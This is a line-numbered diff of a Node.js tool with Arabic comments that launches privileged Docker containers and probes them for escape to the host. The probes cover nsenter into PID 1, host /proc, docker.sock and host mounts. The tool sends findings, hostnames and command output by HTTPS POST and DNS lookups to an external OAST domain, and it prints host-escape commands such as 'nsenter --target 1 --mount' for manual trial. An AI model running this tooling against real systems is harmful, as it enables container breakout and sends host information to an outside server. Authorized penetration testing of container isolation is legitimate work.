368
469
|
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
this.
|
|
374
|
-
|
|
375
|
-
capabilities: foundCaps
|
|
470
|
+
if (check.check(output)) {
|
|
471
|
+
console.log(`⚠️ ${check.name}: Found potential issue`);
|
|
472
|
+
|
|
473
|
+
// إرسال إلى OAST
|
|
474
|
+
this.oastReporter.sendDNS(check.name, {
|
|
475
|
+
result: output.substring(0, 100)
|
|
376
476
|
});
|
|
377
477
|
}
|
|
478
|
+
} catch (error) {
|
|
479
|
+
// تجاهل الأخطاء
|
|
378
480
|
}
|
|
379
|
-
}
|
|
380
|
-
}
|
|
381
|
-
|
|
382
|
-
async checkNetworkEscape() {
|
|
383
|
-
const commands = [
|
|
384
|
-
`docker exec ${this.id} ip route show 2>/dev/null | head -5`,
|
|
385
|
-
`docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
|
|
386
|
-
`docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
|
|
387
|
-
];
|
|
388
|
-
|
|
389
|
-
try {
|
|
390
|
-
const results = await Promise.all(
|
|
391
|
-
commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
|
|
392
|
-
);
|
|
393
|
-
|
|
394
|
-
if (results.some(r => r.trim())) {
|
|
395
|
-
this.info.methods.push('network_escape');
|
|
396
|
-
this.info.network.details = {
|
|
397
|
-
routes: results[0]?.split('\n').slice(0, 3) || [],
|
|
398
|
-
connections: results[1]?.split('\n').slice(0, 5) || [],
|
|
399
|
-
iptables: results[2]?.split('\n').slice(0, 10) || []
|
|
400
|
-
};
|
|
401
|
-
}
|
|
402
|
-
} catch (e) {}
|
|
481
|
+
}
|
|
403
482
|
}
|
|
404
483
|
|
|
405
484
|
async analyzeResults() {
|
|
406
|
-
|
|
407
|
-
let score = 0;
|
|
485
|
+
console.log('\n📊 Analyzing results...');
|
|
408
486
|
|
|
409
|
-
//
|
|
487
|
+
// حساب مستوى الثقة
|
|
488
|
+
let confidence = 0;
|
|
489
|
+
|
|
490
|
+
// نقاط لكل طريقة هروب محتملة
|
|
410
491
|
const methodPoints = {
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
network_escape: 10
|
|
492
|
+
nsenter_escape: 30,
|
|
493
|
+
proc_escape: 25,
|
|
494
|
+
host_mounts: 20,
|
|
495
|
+
docker_socket: 25,
|
|
496
|
+
network_escape: 15
|
|
417
497
|
};
|
|
418
498
|
|
|
419
|
-
this.
|
|
420
|
-
|
|
499
|
+
this.evidence.methods.forEach(method => {
|
|
500
|
+
confidence += methodPoints[method] || 10;
|
|
421
501
|
});
|
|
422
502
|
|
|
423
|
-
//
|
|
424
|
-
if (this.
|
|
425
|
-
|
|
503
|
+
// نقاط إضافية لأدلة قاطعة
|
|
504
|
+
if (this.evidence.proofPoints.length > 0) {
|
|
505
|
+
confidence += this.evidence.proofPoints.length * 10;
|
|
426
506
|
}
|
|
427
507
|
|
|
428
|
-
//
|
|
429
|
-
|
|
430
|
-
|
|
431
|
-
// Capabilities points
|
|
432
|
-
if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
|
|
433
|
-
score += 20;
|
|
508
|
+
// إذا كان hostname مختلف
|
|
509
|
+
if (this.evidence.hostInfo.hostname) {
|
|
510
|
+
confidence += 20;
|
|
434
511
|
}
|
|
435
512
|
|
|
436
|
-
//
|
|
437
|
-
this.
|
|
438
|
-
|
|
439
|
-
if (this.
|
|
440
|
-
this.
|
|
441
|
-
this.
|
|
442
|
-
} else if (this.
|
|
443
|
-
this.
|
|
444
|
-
this.info.risk = 'high';
|
|
445
|
-
} else if (this.info.confidence >= 20) {
|
|
446
|
-
this.info.escapeStatus = 'possible';
|
|
447
|
-
this.info.risk = 'medium';
|
|
513
|
+
// تحديد إذا تم الهروب فعلاً
|
|
514
|
+
this.evidence.confidence = Math.min(100, confidence);
|
|
515
|
+
|
|
516
|
+
if (this.evidence.confidence >= 60) {
|
|
517
|
+
this.evidence.escaped = true;
|
|
518
|
+
console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
|
|
519
|
+
} else if (this.evidence.confidence >= 30) {
|
|
520
|
+
console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
|
|
448
521
|
} else {
|
|
449
|
-
this.
|
|
450
|
-
this.info.risk = 'low';
|
|
522
|
+
console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
|
|
451
523
|
}
|
|
452
524
|
}
|
|
453
525
|
|
|
454
|
-
async
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
id: this.shortId,
|
|
461
|
-
name: this.info.name,
|
|
462
|
-
image: this.info.image
|
|
463
|
-
},
|
|
464
|
-
escape: {
|
|
465
|
-
status: this.info.escapeStatus,
|
|
466
|
-
confidence: this.info.confidence,
|
|
467
|
-
risk: this.info.risk,
|
|
468
|
-
methods: this.info.methods,
|
|
469
|
-
evidence: this.info.evidence.slice(0, 5)
|
|
470
|
-
},
|
|
471
|
-
vulnerabilities: this.info.vulnerabilities
|
|
472
|
-
};
|
|
473
|
-
|
|
474
|
-
this.sendOAST('container_escape_report', payload);
|
|
475
|
-
}
|
|
476
|
-
}
|
|
477
|
-
|
|
478
|
-
sendOAST(type, data) {
|
|
479
|
-
const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
|
|
480
|
-
const interaction = {
|
|
481
|
-
id: interactionId,
|
|
482
|
-
type: type,
|
|
526
|
+
async sendFinalReport() {
|
|
527
|
+
console.log('\n📡 Sending final report to OAST...');
|
|
528
|
+
|
|
529
|
+
const report = {
|
|
530
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
531
|
+
containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
|
|
483
532
|
timestamp: new Date().toISOString(),
|
|
484
|
-
|
|
485
|
-
|
|
533
|
+
evidence: this.evidence,
|
|
534
|
+
summary: {
|
|
535
|
+
escaped: this.evidence.escaped,
|
|
536
|
+
confidence: this.evidence.confidence,
|
|
537
|
+
methods: this.evidence.methods,
|
|
538
|
+
proofPoints: this.evidence.proofPoints
|
|
539
|
+
}
|
|
486
540
|
};
|
|
487
541
|
|
|
488
|
-
|
|
542
|
+
// إرسال التقرير النهائي
|
|
543
|
+
this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
|
|
489
544
|
|
|
490
|
-
//
|
|
491
|
-
const
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
|
|
495
|
-
method: 'POST',
|
|
496
|
-
headers: {
|
|
497
|
-
'Content-Type': 'application/json',
|
|
498
|
-
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
499
|
-
'X-Container-ID': this.shortId,
|
|
500
|
-
'X-API-Key': CONFIG.OAST.apiKey,
|
|
501
|
-
'User-Agent': 'MultiContainerEscapeDetector/3.0'
|
|
502
|
-
}
|
|
503
|
-
}, (res) => {
|
|
504
|
-
let body = '';
|
|
505
|
-
res.on('data', chunk => body += chunk);
|
|
506
|
-
res.on('end', () => {
|
|
507
|
-
if (CONFIG.OUTPUT.verbose) {
|
|
508
|
-
console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
|
|
509
|
-
}
|
|
510
|
-
});
|
|
545
|
+
// إرسال DNS notification للنتيجة
|
|
546
|
+
const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
|
|
547
|
+
this.oastReporter.sendDNS(resultType, {
|
|
548
|
+
confidence: this.evidence.confidence,
|
|
549
|
+
methods: this.evidence.methods.length
|
|
511
550
|
});
|
|
512
551
|
|
|
513
|
-
|
|
514
|
-
req.write(JSON.stringify({
|
|
515
|
-
interactionId: interactionId,
|
|
516
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
517
|
-
containerId: this.shortId,
|
|
518
|
-
data: data
|
|
519
|
-
}));
|
|
520
|
-
req.end();
|
|
521
|
-
|
|
522
|
-
// Also send DNS notification for critical escapes
|
|
523
|
-
if (this.info.risk === 'critical') {
|
|
524
|
-
const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
525
|
-
dns.lookup(dnsName, () => {});
|
|
526
|
-
}
|
|
552
|
+
return report;
|
|
527
553
|
}
|
|
528
554
|
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
532
|
-
|
|
533
|
-
|
|
534
|
-
|
|
535
|
-
|
|
536
|
-
|
|
555
|
+
displayResults() {
|
|
556
|
+
console.log('\n' + '='.repeat(80));
|
|
557
|
+
console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
|
|
558
|
+
console.log('='.repeat(80));
|
|
559
|
+
|
|
560
|
+
console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
|
|
561
|
+
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
562
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
|
|
563
|
+
|
|
564
|
+
console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
|
|
565
|
+
console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
|
|
566
|
+
|
|
567
|
+
if (this.evidence.methods.length > 0) {
|
|
568
|
+
console.log(`\n🔓 Possible Escape Methods:`);
|
|
569
|
+
this.evidence.methods.forEach((method, i) => {
|
|
570
|
+
console.log(` ${i + 1}. ${method}`);
|
|
537
571
|
});
|
|
538
|
-
});
|
|
539
|
-
}
|
|
540
|
-
|
|
541
|
-
updateStatistics() {
|
|
542
|
-
STATE.statistics.scannedContainers++;
|
|
543
|
-
|
|
544
|
-
if (this.info.escapeStatus === 'confirmed') {
|
|
545
|
-
STATE.statistics.escapedContainers++;
|
|
546
|
-
STATE.statistics.criticalEscapes++;
|
|
547
|
-
} else if (this.info.escapeStatus === 'probable') {
|
|
548
|
-
STATE.statistics.escapedContainers++;
|
|
549
|
-
}
|
|
550
|
-
|
|
551
|
-
if (this.info.vulnerabilities.length > 0) {
|
|
552
|
-
STATE.statistics.vulnerableContainers++;
|
|
553
572
|
}
|
|
554
|
-
}
|
|
555
|
-
}
|
|
556
|
-
|
|
557
|
-
// ===================== MAIN SCANNER CLASS =====================
|
|
558
|
-
class MultiContainerScanner {
|
|
559
|
-
constructor() {
|
|
560
|
-
this.scanners = [];
|
|
561
|
-
this.results = [];
|
|
562
|
-
}
|
|
563
|
-
|
|
564
|
-
async discoverContainers() {
|
|
565
|
-
console.log('🔎 Discovering containers...');
|
|
566
573
|
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
570
|
-
|
|
571
|
-
|
|
572
|
-
|
|
573
|
-
STATE.statistics.totalContainers = containerIds.length;
|
|
574
|
-
|
|
575
|
-
if (containerIds.length === 0) {
|
|
576
|
-
console.log('ℹ️ No running containers found.');
|
|
577
|
-
return [];
|
|
578
|
-
}
|
|
579
|
-
|
|
580
|
-
console.log(`📦 Found ${containerIds.length} containers`);
|
|
581
|
-
return containerIds;
|
|
582
|
-
} catch (error) {
|
|
583
|
-
console.error('❌ Failed to discover containers:', error.message);
|
|
584
|
-
return [];
|
|
574
|
+
if (this.evidence.proofPoints.length > 0) {
|
|
575
|
+
console.log(`\n🎯 Evidence Found:`);
|
|
576
|
+
this.evidence.proofPoints.forEach((proof, i) => {
|
|
577
|
+
console.log(` ${i + 1}. ${proof}`);
|
|
578
|
+
});
|
|
585
579
|
}
|
|
586
|
-
}
|
|
587
|
-
|
|
588
|
-
async scanContainers(containerIds) {
|
|
589
|
-
console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
|
|
590
|
-
|
|
591
|
-
// Create scanners
|
|
592
|
-
this.scanners = containerIds.map(id => new ContainerScanner(id));
|
|
593
580
|
|
|
594
|
-
|
|
595
|
-
|
|
596
|
-
|
|
597
|
-
const batch = this.scanners.slice(i, i + batchSize);
|
|
598
|
-
console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
|
|
599
|
-
|
|
600
|
-
const batchPromises = batch.map(scanner =>
|
|
601
|
-
scanner.scan().catch(error => {
|
|
602
|
-
console.error(`Failed to scan ${scanner.shortId}:`, error.message);
|
|
603
|
-
return scanner.info;
|
|
604
|
-
})
|
|
605
|
-
);
|
|
606
|
-
|
|
607
|
-
const batchResults = await Promise.all(batchPromises);
|
|
608
|
-
this.results.push(...batchResults);
|
|
609
|
-
|
|
610
|
-
// Show progress
|
|
611
|
-
const scanned = Math.min(i + batchSize, this.scanners.length);
|
|
612
|
-
const percent = Math.round((scanned / this.scanners.length) * 100);
|
|
613
|
-
console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
|
|
581
|
+
if (this.evidence.hostInfo.hostname) {
|
|
582
|
+
console.log(`\n🖥️ Host Information:`);
|
|
583
|
+
console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
|
|
614
584
|
}
|
|
615
585
|
|
|
616
|
-
|
|
617
|
-
|
|
618
|
-
|
|
619
|
-
async generateReport() {
|
|
620
|
-
console.log('\n' + '═'.repeat(80));
|
|
621
|
-
console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
|
|
622
|
-
console.log('═'.repeat(80));
|
|
586
|
+
console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
|
|
587
|
+
console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
|
|
588
|
+
console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
|
|
623
589
|
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
628
|
-
scanDuration: Date.now() - STATE.startTime,
|
|
629
|
-
config: CONFIG
|
|
630
|
-
},
|
|
631
|
-
statistics: STATE.statistics,
|
|
632
|
-
oast: {
|
|
633
|
-
domain: CONFIG.OAST.domain,
|
|
634
|
-
interactions: STATE.oastInteractions.length,
|
|
635
|
-
session: CONFIG.OAST.sessionId
|
|
636
|
-
},
|
|
637
|
-
containers: this.results,
|
|
638
|
-
summary: this.generateSummary()
|
|
639
|
-
};
|
|
640
|
-
|
|
641
|
-
// Print summary
|
|
642
|
-
this.printSummary(report.summary);
|
|
643
|
-
|
|
644
|
-
// Save report if enabled
|
|
645
|
-
if (CONFIG.OUTPUT.saveReports) {
|
|
646
|
-
await this.saveReport(report);
|
|
647
|
-
}
|
|
590
|
+
console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
|
|
591
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
592
|
+
console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
|
|
648
593
|
|
|
649
|
-
|
|
594
|
+
console.log('\n' + '='.repeat(80));
|
|
595
|
+
console.log('🎯 ANALYSIS COMPLETE');
|
|
596
|
+
console.log('='.repeat(80));
|
|
650
597
|
}
|
|
651
598
|
|
|
652
|
-
|
|
653
|
-
|
|
654
|
-
|
|
655
|
-
escapedContainers: [],
|
|
656
|
-
vulnerableContainers: [],
|
|
657
|
-
criticalIssues: [],
|
|
658
|
-
recommendations: []
|
|
659
|
-
};
|
|
660
|
-
|
|
661
|
-
this.results.forEach(container => {
|
|
662
|
-
if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
|
|
663
|
-
summary.escapedContainers.push({
|
|
664
|
-
id: container.id.substring(0, 12),
|
|
665
|
-
name: container.name,
|
|
666
|
-
confidence: container.confidence,
|
|
667
|
-
methods: container.methods,
|
|
668
|
-
risk: container.risk
|
|
669
|
-
});
|
|
670
|
-
}
|
|
599
|
+
async cleanup() {
|
|
600
|
+
if (this.containerId) {
|
|
601
|
+
console.log('\n🧹 Cleaning up container...');
|
|
671
602
|
|
|
672
|
-
|
|
673
|
-
|
|
674
|
-
|
|
675
|
-
|
|
676
|
-
|
|
677
|
-
|
|
678
|
-
|
|
679
|
-
|
|
680
|
-
|
|
681
|
-
summary.criticalIssues.push({
|
|
682
|
-
id: container.id.substring(0, 12),
|
|
683
|
-
name: container.name,
|
|
684
|
-
evidence: container.evidence.slice(0, 3)
|
|
603
|
+
try {
|
|
604
|
+
await this.execOnHost(`docker stop ${this.containerId}`);
|
|
605
|
+
await this.execOnHost(`docker rm ${this.containerId}`);
|
|
606
|
+
console.log('✅ Container cleaned up');
|
|
607
|
+
|
|
608
|
+
// إرسال إشعار التنظيف إلى OAST
|
|
609
|
+
this.oastReporter.sendHTTPS('/cleanup', {
|
|
610
|
+
containerId: this.containerId.substring(0, 12),
|
|
611
|
+
action: 'container_removed'
|
|
685
612
|
});
|
|
613
|
+
} catch (error) {
|
|
614
|
+
console.log(`⚠️ Could not clean up container: ${error.message}`);
|
|
686
615
|
}
|
|
687
|
-
});
|
|
688
|
-
|
|
689
|
-
// Generate recommendations
|
|
690
|
-
if (summary.escapedContainers.length > 0) {
|
|
691
|
-
summary.recommendations.push(
|
|
692
|
-
`Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
|
|
693
|
-
);
|
|
694
|
-
}
|
|
695
|
-
|
|
696
|
-
if (summary.criticalIssues.length > 0) {
|
|
697
|
-
summary.recommendations.push(
|
|
698
|
-
`Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
|
|
699
|
-
);
|
|
700
|
-
}
|
|
701
|
-
|
|
702
|
-
if (summary.vulnerableContainers.length > 0) {
|
|
703
|
-
summary.recommendations.push(
|
|
704
|
-
`Update kernel/software in ${summary.vulnerableContainers.length} containers`
|
|
705
|
-
);
|
|
706
|
-
}
|
|
707
|
-
|
|
708
|
-
if (summary.escapedContainers.length === 0) {
|
|
709
|
-
summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
|
|
710
|
-
}
|
|
711
|
-
|
|
712
|
-
return summary;
|
|
713
|
-
}
|
|
714
|
-
|
|
715
|
-
printSummary(summary) {
|
|
716
|
-
console.log('\n📈 SCAN STATISTICS:');
|
|
717
|
-
console.log(' Total containers scanned:', summary.totalScanned);
|
|
718
|
-
console.log(' Containers that can escape:', summary.escapedContainers.length);
|
|
719
|
-
console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
|
|
720
|
-
console.log(' Critical issues:', summary.criticalIssues.length);
|
|
721
|
-
|
|
722
|
-
if (summary.escapedContainers.length > 0) {
|
|
723
|
-
console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
|
|
724
|
-
summary.escapedContainers.forEach((container, i) => {
|
|
725
|
-
console.log(` ${i + 1}. ${container.name || container.id}`);
|
|
726
|
-
console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
|
|
727
|
-
console.log(` Methods: ${container.methods.join(', ')}`);
|
|
728
|
-
});
|
|
729
|
-
}
|
|
730
|
-
|
|
731
|
-
if (summary.criticalIssues.length > 0) {
|
|
732
|
-
console.log('\n⚠️ CRITICAL VULNERABILITIES:');
|
|
733
|
-
summary.criticalIssues.forEach((issue, i) => {
|
|
734
|
-
console.log(` ${i + 1}. ${issue.name || issue.id}`);
|
|
735
|
-
issue.evidence.forEach(ev => console.log(` - ${ev}`));
|
|
736
|
-
});
|
|
737
|
-
}
|
|
738
|
-
|
|
739
|
-
console.log('\n💡 RECOMMENDATIONS:');
|
|
740
|
-
summary.recommendations.forEach((rec, i) => {
|
|
741
|
-
console.log(` ${i + 1}. ${rec}`);
|
|
742
|
-
});
|
|
743
|
-
|
|
744
|
-
console.log('\n📡 OAST REPORTING:');
|
|
745
|
-
console.log(` Domain: ${CONFIG.OAST.domain}`);
|
|
746
|
-
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
747
|
-
console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
|
|
748
|
-
console.log(` Check OAST for detailed evidence: https://oastify.com`);
|
|
749
|
-
|
|
750
|
-
console.log('\n' + '═'.repeat(80));
|
|
751
|
-
console.log('🎯 SCAN COMPLETE');
|
|
752
|
-
|
|
753
|
-
if (summary.escapedContainers.length > 0) {
|
|
754
|
-
console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
|
|
755
|
-
console.log('🔒 Immediate remediation required.');
|
|
756
|
-
} else {
|
|
757
|
-
console.log('✅ No critical escape vectors detected.');
|
|
758
|
-
console.log('🛡️ Regular security monitoring recommended.');
|
|
759
616
|
}
|
|
760
|
-
|
|
761
|
-
console.log('═'.repeat(80));
|
|
762
617
|
}
|
|
763
618
|
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
|
|
767
|
-
|
|
768
|
-
|
|
769
|
-
fs.writeFileSync(filename, JSON.stringify(report, null, 2));
|
|
770
|
-
console.log(`\n💾 Full report saved to: ${filename}`);
|
|
771
|
-
|
|
772
|
-
// Also save a summary file
|
|
773
|
-
const summaryFilename = `scan-summary-${timestamp}.txt`;
|
|
774
|
-
let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
|
|
775
|
-
summaryText += `Date: ${new Date().toLocaleString()}\n`;
|
|
776
|
-
summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
|
|
777
|
-
|
|
778
|
-
summaryText += `STATISTICS:\n`;
|
|
779
|
-
summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
|
|
780
|
-
summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
|
|
781
|
-
summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
|
|
782
|
-
|
|
783
|
-
if (report.summary.escapedContainers.length > 0) {
|
|
784
|
-
summaryText += `CRITICAL CONTAINERS:\n`;
|
|
785
|
-
report.summary.escapedContainers.forEach(container => {
|
|
786
|
-
summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
|
|
787
|
-
});
|
|
788
|
-
summaryText += '\n';
|
|
619
|
+
execInContainer(command) {
|
|
620
|
+
return new Promise((resolve, reject) => {
|
|
621
|
+
if (!this.containerId) {
|
|
622
|
+
reject(new Error('No container running'));
|
|
623
|
+
return;
|
|
789
624
|
}
|
|
790
625
|
|
|
791
|
-
|
|
792
|
-
|
|
793
|
-
|
|
794
|
-
|
|
795
|
-
|
|
796
|
-
|
|
797
|
-
|
|
798
|
-
|
|
799
|
-
|
|
800
|
-
|
|
801
|
-
}
|
|
626
|
+
exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
|
|
627
|
+
{ timeout: 10000 },
|
|
628
|
+
(error, stdout, stderr) => {
|
|
629
|
+
if (error) {
|
|
630
|
+
reject(error);
|
|
631
|
+
} else {
|
|
632
|
+
resolve(stdout || stderr || '');
|
|
633
|
+
}
|
|
634
|
+
}
|
|
635
|
+
);
|
|
636
|
+
});
|
|
802
637
|
}
|
|
803
638
|
|
|
804
|
-
|
|
639
|
+
execOnHost(command) {
|
|
805
640
|
return new Promise((resolve, reject) => {
|
|
806
641
|
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
807
642
|
if (error) {
|
|
808
643
|
reject(error);
|
|
809
644
|
} else {
|
|
810
|
-
resolve(stdout
|
|
645
|
+
resolve(stdout);
|
|
811
646
|
}
|
|
812
647
|
});
|
|
813
648
|
});
|
|
814
649
|
}
|
|
815
650
|
}
|
|
816
651
|
|
|
817
|
-
// =====================
|
|
818
|
-
|
|
819
|
-
console.log('🚀
|
|
820
|
-
console.log('⚙️ Configuration:');
|
|
821
|
-
console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
|
|
822
|
-
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
823
|
-
console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
|
|
824
|
-
console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
|
|
652
|
+
// ===================== SIMPLE VERSION =====================
|
|
653
|
+
function runSimplePrivilegedWithOAST() {
|
|
654
|
+
console.log('🚀 Running simple privileged container with OAST reporting...\n');
|
|
825
655
|
|
|
826
|
-
|
|
827
|
-
|
|
828
|
-
|
|
829
|
-
|
|
656
|
+
const containerName = `simple-priv-${Date.now()}`;
|
|
657
|
+
const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
|
|
658
|
+
|
|
659
|
+
// إرسال بداية الجلسة
|
|
660
|
+
const startReq = https.request({
|
|
661
|
+
hostname: CONFIG.OAST.domain,
|
|
662
|
+
port: CONFIG.OAST.httpsPort,
|
|
663
|
+
path: '/simple-start',
|
|
664
|
+
method: 'POST',
|
|
665
|
+
headers: {
|
|
666
|
+
'Content-Type': 'application/json',
|
|
667
|
+
'X-Session-ID': sessionId
|
|
668
|
+
}
|
|
669
|
+
});
|
|
670
|
+
|
|
671
|
+
startReq.write(JSON.stringify({
|
|
672
|
+
action: 'simple_container_start',
|
|
673
|
+
containerName: containerName,
|
|
674
|
+
timestamp: new Date().toISOString()
|
|
675
|
+
}));
|
|
676
|
+
startReq.end();
|
|
677
|
+
|
|
678
|
+
// تشغيل الحاوية
|
|
679
|
+
const dockerArgs = [
|
|
680
|
+
'run',
|
|
681
|
+
'--privileged',
|
|
682
|
+
'--name', containerName,
|
|
683
|
+
'--rm',
|
|
684
|
+
CONFIG.DOCKER.image,
|
|
685
|
+
'sh', '-c',
|
|
686
|
+
`
|
|
687
|
+
echo "=== PRIVILEGED CONTAINER STARTED ==="
|
|
688
|
+
echo "Session: ${sessionId}"
|
|
689
|
+
echo "Hostname: $(hostname)"
|
|
690
|
+
echo "User: $(whoami)"
|
|
691
|
+
echo "=== TESTING ESCAPE ==="
|
|
692
|
+
|
|
693
|
+
# Test nsenter
|
|
694
|
+
which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
|
|
695
|
+
|
|
696
|
+
# Test host access
|
|
697
|
+
cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
|
|
698
|
+
|
|
699
|
+
# Send DNS notification
|
|
700
|
+
nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
|
|
701
|
+
|
|
702
|
+
echo "=== CONTAINER COMPLETE ==="
|
|
703
|
+
`
|
|
704
|
+
];
|
|
705
|
+
|
|
706
|
+
console.log(`Running: docker ${dockerArgs.join(' ')}`);
|
|
707
|
+
|
|
708
|
+
const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
|
|
709
|
+
|
|
710
|
+
dockerProcess.on('close', (code) => {
|
|
711
|
+
console.log(`\n✅ Container exited with code: ${code}`);
|
|
712
|
+
|
|
713
|
+
// إرسال إشعار الانتهاء
|
|
714
|
+
const endReq = https.request({
|
|
830
715
|
hostname: CONFIG.OAST.domain,
|
|
831
716
|
port: CONFIG.OAST.httpsPort,
|
|
832
|
-
path: '/
|
|
717
|
+
path: '/simple-end',
|
|
833
718
|
method: 'POST',
|
|
834
719
|
headers: {
|
|
835
720
|
'Content-Type': 'application/json',
|
|
836
|
-
'X-Session-ID':
|
|
721
|
+
'X-Session-ID': sessionId
|
|
837
722
|
}
|
|
838
723
|
});
|
|
839
724
|
|
|
840
|
-
|
|
841
|
-
action: '
|
|
842
|
-
|
|
843
|
-
|
|
844
|
-
parallelScans: CONFIG.SCAN.parallelScans,
|
|
845
|
-
maxContainers: CONFIG.SCAN.maxContainers
|
|
846
|
-
}
|
|
725
|
+
endReq.write(JSON.stringify({
|
|
726
|
+
action: 'simple_container_end',
|
|
727
|
+
exitCode: code,
|
|
728
|
+
timestamp: new Date().toISOString()
|
|
847
729
|
}));
|
|
848
|
-
|
|
849
|
-
|
|
730
|
+
endReq.end();
|
|
731
|
+
|
|
732
|
+
console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
|
|
733
|
+
console.log(`🔑 Session ID: ${sessionId}`);
|
|
734
|
+
});
|
|
735
|
+
}
|
|
736
|
+
|
|
737
|
+
// ===================== INTERACTIVE VERSION =====================
|
|
738
|
+
function runInteractivePrivileged() {
|
|
739
|
+
console.log('🚀 Running interactive privileged container...\n');
|
|
740
|
+
console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
741
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
850
742
|
|
|
851
|
-
//
|
|
852
|
-
const
|
|
743
|
+
// إرسال إشعار البدء
|
|
744
|
+
const req = https.request({
|
|
745
|
+
hostname: CONFIG.OAST.domain,
|
|
746
|
+
port: CONFIG.OAST.httpsPort,
|
|
747
|
+
path: '/interactive-start',
|
|
748
|
+
method: 'POST',
|
|
749
|
+
headers: {
|
|
750
|
+
'Content-Type': 'application/json',
|
|
751
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
752
|
+
}
|
|
753
|
+
});
|
|
754
|
+
|
|
755
|
+
req.write(JSON.stringify({
|
|
756
|
+
action: 'interactive_container_start',
|
|
757
|
+
timestamp: new Date().toISOString(),
|
|
758
|
+
command: 'docker run --privileged -it ubuntu:latest /bin/bash'
|
|
759
|
+
}));
|
|
760
|
+
req.end();
|
|
761
|
+
|
|
762
|
+
// تشغيل الحاوية التفاعلية
|
|
763
|
+
console.log('💻 Starting interactive bash session...');
|
|
764
|
+
console.log(' You can test commands manually.');
|
|
765
|
+
console.log(' Try these commands to test escape:');
|
|
766
|
+
console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
|
|
767
|
+
console.log(' - cat /proc/1/status');
|
|
768
|
+
console.log(' - ls -la /var/run/docker.sock');
|
|
769
|
+
